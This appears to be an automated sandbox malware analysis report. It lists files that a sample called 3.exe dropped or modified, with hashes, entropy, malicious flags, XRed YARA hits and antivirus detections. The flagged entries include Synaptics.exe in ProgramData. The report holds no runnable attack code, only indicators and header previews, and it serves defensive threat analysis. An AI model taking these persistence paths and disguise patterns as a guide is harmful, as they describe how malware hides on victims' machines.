Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5DDA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4572
Entropy (8bit):	4.435904712030463
Encrypted:	false
SSDEEP:	48:cvIwWl8zsQiJg77aI9kiKWpW8VYMzYm8M4JFetF/k+q84ioX1UZId:uIjf1I76ir7VIJ55X1UZId
MD5:	01D929E2752CF9A770263A1B6B09E6FF
SHA1:	03139E3E8035C6C21F8A3A4093593F648BBD42DC
SHA-256:	D681CBA32B838FECD0C23049BA2F2306F1000E67CE7807DBF8EB6F8008E41C19
SHA-512:	052B835297B27AF2872A3622528778D2D1E585A3C3E6F5DECB43DC3E09108CB898E6DD0AAA545BA8697F53714B3B119DF9989BB912583A9D91EACB7CC7A89DA0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="442225" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5DE8.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92340
Entropy (8bit):	3.1015141581618555
Encrypted:	false
SSDEEP:	1536:7NPP7LccBEaR6GpaLBpK2ToeSz2dDYi67zgntBQ9Wm51YRwIHxww4/O2aCVmoOjU:7NPP7LccBEaR6GpaLBpK2ToeSz2dDYim
MD5:	3099A5C131478BB18451F169B9E13B45
SHA1:	976469A1BB70BB0F8E38A1DD36090172BCCB1BDA
SHA-256:	A059B99168A2674222199D4EAD7765257AE036ABC025EBCA03C3293A2C72BF23
SHA-512:	02DE12FCF9013F8122605FFC046E73CCC7186CCA2C8194B00CC9B1B3407753DBBE7FADF04D2CA5D6953A11B5B9E5744F70FC78178B44D230408B12DEE8217AFC
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5E47.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6858904464460864
Encrypted:	false
SSDEEP:	96:TiZYWqbIsy+6YUDYdWVHJUYEZLKytHiNVox7Rw+dY01atz1lcvKZMTQxI5B3:2ZDqa13G/5aR1jMTQu5B3
MD5:	01DBC8E6F6761FE002AD92B720EA9310
SHA1:	F64AF2B50B7460D3EEFE7A4AE8EDA0DBACAB9AF5
SHA-256:	D6053F68655678ED21727D0A59CB39EAA79E098924BDFFA8905F4C2F5F9AF048
SHA-512:	9BA43B909BEDB1C13D958FA876DB3414FDF07D5DCEC4EB30CCB9839A2498445E1F5210183FD435410B07F6E9736A047A4EBE63BF27DACE1715D2899AB5180C6B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Synaptics\RCXA074.tmp

Download File

Process:	C:\Users\user\Desktop\3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.641572080573123
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3Rr:ansJ39LyjbJkQFMhmC+6GD9ch
MD5:	B18C94884CC98C89024034F707824909
SHA1:	FAD0F34E7FFC05827A87DC1F7AE9A99D68140581
SHA-256:	D30D0F2A6991276E8203B5849F0DF86FA48FC9D56610A75ECDAE9D5551CD79D7
SHA-512:	5D7F2F2C6F6A232B760D25803C7ED44A21DE144F237466C62C5EE4F885FE572A973ECFDA3BFC7E83120B81D7546A69009CC820E504F7E31399D7437B3C025DD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCXA074.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCXA074.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22382592
Entropy (8bit):	7.819168754915328
Encrypted:	false
SSDEEP:	393216:wfVPhYAAOfCx8hV7VGDEBm7GeXdXMOII/Ymr5Y1QNV5EROx/pr8FxYS0D/Eq3uej:AY2f9IQB2GzMvFYunhSxYfD/Eq+ej
MD5:	CE31C7FBDA3EC7956327A742C68DA537
SHA1:	53B5A92EED85FD08DAE67978ABFE0E8254C15451
SHA-256:	A8E9838EEF63BFCA0AF5E1D9704062C36C168D44A06D53C4D0560F5389F2A760
SHA-512:	8F93007AE06E81438A307794383B2AC609C117FFB9693243DA55EB549C4500B1BFCCA89BDDA5DD1E306F92C076DC1ABA459E3BB6A3CFF0D23D7C7B9237530734
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B......................K...................@...........................U..................@..............................B......0.J..................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0.J.......J.................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.59bb809c-532f-4df0-8b30-75b637cd4cf4.1.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	1.2020887357192083
Encrypted:	false
SSDEEP:	12:M1qPqF69Fq5DCnGk56GWtbgjO3s7Nxk56GplEcLv:r1bGGtm2jGtpr
MD5:	E9C11E1E5C152B8FDB8B192A74C7721D
SHA1:	ABFAA5F4C478ACF9FA5F6547E663E3F680DD2D75
SHA-256:	23466CC5401F108913C127C7791D694037A07368E01813696ABB976020EC4B72
SHA-512:	1B53D7D421C1D3AFC7D35D8260FE73A5F32C6B5FA34E438641686F6F09DAF84E48FC4775AD13F657DFC5CDB12AC1E9CA34905EB7B32B0D3201060A56745B16F0
Malicious:	false
Preview:	............................................................................D.......4....\.C....................eJ..............Zb..K....(......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0.:.U............\.C............U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...5.9.b.b.8.0.9.c.-.5.3.2.f.-.4.d.f.0.-.8.b.3.0.-.7.5.b.6.3.7.c.d.4.c.f.4...1...e.t.l...........P.P.....4....\.C....................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\user~1\AppData\Local\Temp\q67hQckB.exe (copy)

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2696704
Entropy (8bit):	7.2044489265170855
Encrypted:	false
SSDEEP:	49152:tnsHyjtk2MYC5GDyePAuMpNUUNkjdnVbhcuVY3rMEl3qBk0cSw14/nQLh6ZP:tnsmtk2azePxMnPNkjrlY3bl6Bk0cV1U
MD5:	0D69EC809B706225A7D3D0A8395F1351
SHA1:	7524BEE0A5C5B0A4F407C625AD9880C73A51C49B
SHA-256:	E15DF0B26F4DA82BE7EA4F174CAC2B21C1CBDDAF0AFFB6AFCBE05A217859719E
SHA-512:	0534ADD663089F6F16A3D59E9668FA928E4CAC8DF82D976F2FF3C39B9ADEDB887080D521A4DA54E1AAA8F3FE69F95DEB50278BA30EE8654A2BCA81485AD835F5
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@...........................)..................@..............................B......0}...................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0}.......~..................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\io[1].htm

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.0052196722704054
Encrypted:	false
SSDEEP:	3:IH1ZfUzwKxf:Wq
MD5:	52A76A3945F5FC13E96F2CDED5AECBB4
SHA1:	BD450021FC31BBE40F17B64344EB6BE0F63C54B7
SHA-256:	E5C907292C88455E311DFAB945BCA75F293581C75A1014062011C0F8B4842FD5
SHA-512:	FC636553B40E4A51F5EEDDFEB9DE0CF6AC13650D5F81471FF24B5C9ACB5F7A83C634D57DD9115461A582733F29612F607B18139843E5323AB9A1BC0D98E0DB3D
Malicious:	false
Preview:	kssdata0:\|:1:\|:http://:\|::\|::\|:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\MWM150RL.htm

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	2379
Entropy (8bit):	5.601691671163893
Encrypted:	false
SSDEEP:	48:y1JaEs6AdhI5aG5/aQWQITGjaQ/vbc7V1pz1OZfPzOr:OgHIMGjWQISj3Hbc7VzzgZfr4
MD5:	361E3C8F57AE96DF4621830AA14569CA
SHA1:	F818E4E2F2F2558DE4C39643A9B97C2754635BB1
SHA-256:	17295F3977F8D3121D16C402BD1A476C4A746E542D5B1F61BD9A18669ACA8628
SHA-512:	50130637D145ED51BC61776D229B81D76E62F6701C83B19CE7B6670F8BCCC643FADBB8B53C40403AEBAA7EF0014490F5FA09BBC59EDB1055001F447D9EE5F2EF
Malicious:	false
Preview:	.<!DOCTYPE html>.<html>..<head>...<meta charset="utf-8">...<title>....</title>...<style type="text/css">....*{.....padding: 0;.....margin: 0;.....text-decoration: none;....}....#zongti{.....width: 522px;.....height: 300px;....}.....box-1{.....margin-top: -0.125rem;.....width: 100%;.....height: 52px;.....background-color: #3EA29E;....}.....box-1 p{.....font-size: 20px;.....color: aliceblue;.....text-align: center;.....line-height: 50px;.....font-family: "..";....}.....box-2{... width: 100%;..... height: 200px;. text-align: center;.... font-size: 16px;.... color: darkblue;.... font-family: "century gothic";.... background-color: #55aaff;....}....#sm1,#sm2,#sm3,#sm4{.....padding-top: 18px;....}.....box-3{.....width: 100%;.....height: 50px;.....background-color: cadetblue;.....float: left;....}. .bd-1,.bd-2,.bd-3{.... font-weight: 700;.... font-size: 16px;.... font-family: "..";.... float: left;.... width: 33%;.... height: 50px;....

C:\Users\user\AppData\Local\Temp\3mwpora.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	modified
Size (bytes):	1642
Entropy (8bit):	5.263924743505836
Encrypted:	false
SSDEEP:	24:bsF+0uSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+d+pAZewRDK4mW
MD5:	558D7CF453868DA3C0B2AC800A4901A2
SHA1:	26F649C212FD5A1A153B377985AB5B29BA2181B4
SHA-256:	CEDAE72BA854DAB5F385811BD6DC5A22ED08710A58932A47968D2D22485AEA8B
SHA-512:	38ED2A6DCE94F15C409876409C330092F21D152A0DECE7F5837706DF0DB8A8811141CA06F136F5FDF845F87563073B2D6B3DAD719DFA56BF0D9D5D351D37B658
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ol8FZvPKQDV4r8gkHRlq4g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\6H3Hh9B.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264148978082718
Encrypted:	false
SSDEEP:	24:bsF+0ecwqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+LcwX+pAZewRDK4mW
MD5:	45F3A0B779E28AD91B85CA1F60543225
SHA1:	8CD4B3A314F28AB565DF76CEC876D9290A153CB4
SHA-256:	46224FF05FBCDC321A8803AA27349090E7E833ACBD2A5772B3207597199A3D8C
SHA-512:	01C40F4564E213DC25463749B52832AE78C2A085AB19DE4DE606E24119DFE9F1234C4C2349797BF69628A10397B6FC8144A492F600B7C6D46C1627E776F5F0C9
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="b9shjYAwIytHs1-JJhX8dQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\74XhjPv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264998911700692
Encrypted:	false
SSDEEP:	24:bsF+0BbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK++b+pAZewRDK4mW
MD5:	34067FD70EED845A82EA53FE67B7CE52
SHA1:	00C79A13726D9BC950BE4A8715C9648471B25398
SHA-256:	C6F95C7C019C5CA5B3921E33E33210D8B00001D63BE9B9077C11AE285D60676D
SHA-512:	2D0EB930813C80FB2E15C9D84B7A65F33A44F9A9CA4BEDDFD42694F11266E56526EC63860720443FEF46901A0F2AB51C860093345824CEACEE28FA68AF95651C
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="62tvtI7Ku2yLMXaEQUEowA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\8ZXFDt5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267879738928915
Encrypted:	false
SSDEEP:	24:bsF+0J3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+m3+pAZewRDK4mW
MD5:	A44153AC569EDABBFE1119D53B0F3DAB
SHA1:	64330936E5C92FFD3105CE6C20856B74FA987E2B
SHA-256:	5A6CFCF2CBDBAFE01A89FD9B2EC4E2256B06733A5DF2D19BE19E71481D891F95
SHA-512:	A7074F73D59C0ACA653D9F90BE0B7E34E50CC22DDFAB94EFCCF120011D34C75F0BC235C3C5B695B1492170D9C2DA70AF6C96A9631D180F1D74F912F4FEA87302
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="eBgq2BpR6km5DtVY6UuMYA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\HQxrbCd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.249465339764524
Encrypted:	false
SSDEEP:	24:bsF+0ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+L+pAZewRDK4mW
MD5:	FC2DDF13E1AD88A8E1C8B0E76E02C9F9
SHA1:	2FB73C225D9729FB23B5D4051ABEDDCAD5D110CB
SHA-256:	AA296B611073422968E957D5C25887A97915817EBD9C100889B41DEFF364D6CF
SHA-512:	1A81711B3CE9D7CCC3901631E93F734A782EF79458AF1E3CDFDB14404586104268303742F4D8A347678DE503008128FB99169B2DD15C992B1BDD24D77421AFE4
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dBfW2i8qpO9y-rlhxv_dZw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\IoqgmKs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.277565298444289
Encrypted:	false
SSDEEP:	24:bsF+0ASU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+D+pAZewRDK4mW
MD5:	2F092B08D52C5AAD1B61092C2FA0BD86
